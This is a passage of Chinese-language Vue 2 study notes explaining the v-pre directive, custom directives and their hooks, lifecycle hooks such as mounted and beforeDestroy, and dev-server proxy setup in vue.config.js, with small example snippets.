<h1>n 现在的值为:{{n}}</h1>
<button @click="n++">n++</button>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
n: 1
}
})
v-pre指令
v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
自定义指令
作用
可以封装一些Dom操作,扩展额外功能。
定义语法
局部指令:
配置对象写法:
directives: {
"focus": {
inserted(el) {
// 指令所在元素被插入页面时自动获取焦点
el.focus()
},
},
},
函数写法:
函数写法的调用时间:
1.指令和元素绑定时(一上来)
2.指令所在模板重新被解析时
<p>{{ n }}</p>
<p v-big="n"></p>
data() {
return {
n: 1,
}
},
directives: {
big(el, binding) {
// 对指令所在元素的值扩大十倍
el.innerText = binding.value * 10
},
},
全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
// 自定义全局指令
// 配置对象写法
Vue.directive('focus', {
//指令所在元素被插入页面时调用
"inserted"(el) {
el.focus()
}
})
// 函数写法
Vue.directive('指令名', ()=>{})
配置对象中常用的3个回调:
(1).bind:只调用一次。
时机:当指令第一次绑定到元素上时调用。此时,元素尚未被插入到DOM中,但指令已经与元素建立了关联。
使用场景:适用于需要在元素与指令建立关联时立即执行的初始化操作,这些操作不依赖于元素在DOM中的位置或状态。例如,设置元素的初始样式或属性。
(2).inserted:通常只调用一次。(当该元素被移除,但又被重新添加到Dom中,并且还有该自定义指令时将再次调用)
时机:指令所在元素被插入页面时调用。这意味着当元素被实际插入到DOM中时,inserted会被触发。此时,元素已经渲染完成,可以进行依赖于DOM的操作,如设置焦点、监听事件等。
使用场景:在这个钩子中,元素已经被插入到DOM中,因此你可以安全地执行依赖于DOM的操作,比如设置焦点、执行动画等。
(3).update:指令所在模板结构被重新解析时调用。
注意:不适用配置对象,

备注:
1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-->
<div id="id" class="">
<h1>n 的值为 {{n}}</h1>
<h1>n 扩大10倍的值为 <span v-big="n"></span></h1>
<hr>
<input type="text" v-fbind="n">
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
n: 1
},
// 自定义指令
directives: {
// 第一个参数为当前所在Dom节点,第二个参数是本次绑定信息
// 函数写法-调用时间:1.指令和元素绑定时(一上来) 2.指令所在模板重新被解析时
big(element, binding) {
element.innerText = binding.value * 10
},
// 配置对象写法
fbind: {
// 成功绑定时调用
bind(element, binding) {
element.value = binding.value
},
// 指令所在元素插入到页面时调用
inserted(element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时调用
update(element, binding) {
element.value = binding.value
}
}
}
})
</script>
生命周期
生命周期:
1.又叫:生命周期回调函数、生命周期函数、生命周期钩子
2.在vue工作的过程中有许多不同时间自己调用的函数,这些函数就是生命周期
3.这些函数名字不可更改,但是执行逻辑可由程序员自己编写
4.这些函数中的this都指向 vm 或是 组件实例对象
mounted函数
当Vue解析模板把初始的真实的Dom放到页面后(挂载完成后),调用mounted
<!-- 要求:让文字重复地逐渐透明 -->
<div id="id" class="">
<h1 :style="{opacity:opacity}">追逐光</h1>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
opacity: 1
},
// 当Vue解析模板把初始的真实的Dom放到页面后(挂载完成后),调用mounted
mounted() {
setInterval(() => {
this.opacity -= 0.05
if (this.opacity <= 0)
this.opacity = 1
}, 100)
},
})
</script>
原理图

生命周期(钩子)
常用的生命周期钩子:
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效,但原生DOM事件依然有效。
3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
Vue中的AJAX
vue脚手架配置服务器代理
方法一
在vue.config.js中添加如下配置:
devServer:{
proxy:"http://localhost:5000"
}
说明:
- 优点:配置简单,请求资源时直接发给前端(8080)即可。
- 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
- 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)
方法二
编写vue.config.js配置具体代理规则:
module.exports = {
devServer: {
proxy: {
'/api1': {// 匹配所有以 '/api1'开头的请求路径
target: 'http://localhost:5000',// 代理目标的基础路径
changeOrigin: true,
pathRewrite: {'^/api1': ''}
},
'/api2': {// 匹配所有以 '/api2'开头的请求路径
target: 'http://localhost:5001',// 代理目标的基础路径
changeOrigin: true,
pathRewrite: {'^/api2': ''}
}
}
}
}
/*
changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
changeOrigin默认值为true
*/
说明:
- 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
- 缺点:配置略微繁琐,请求资源时必须加前缀。
vue-resource插件(了解)
和axios的使用风格相同,但是得安装 npm i vue-resource,
//引入
import vueResouce from 'vue-resource'
//使用插件
Vue.use(vueResouce)
//发送请求
this.$http.get(这里面的使用和axios一样)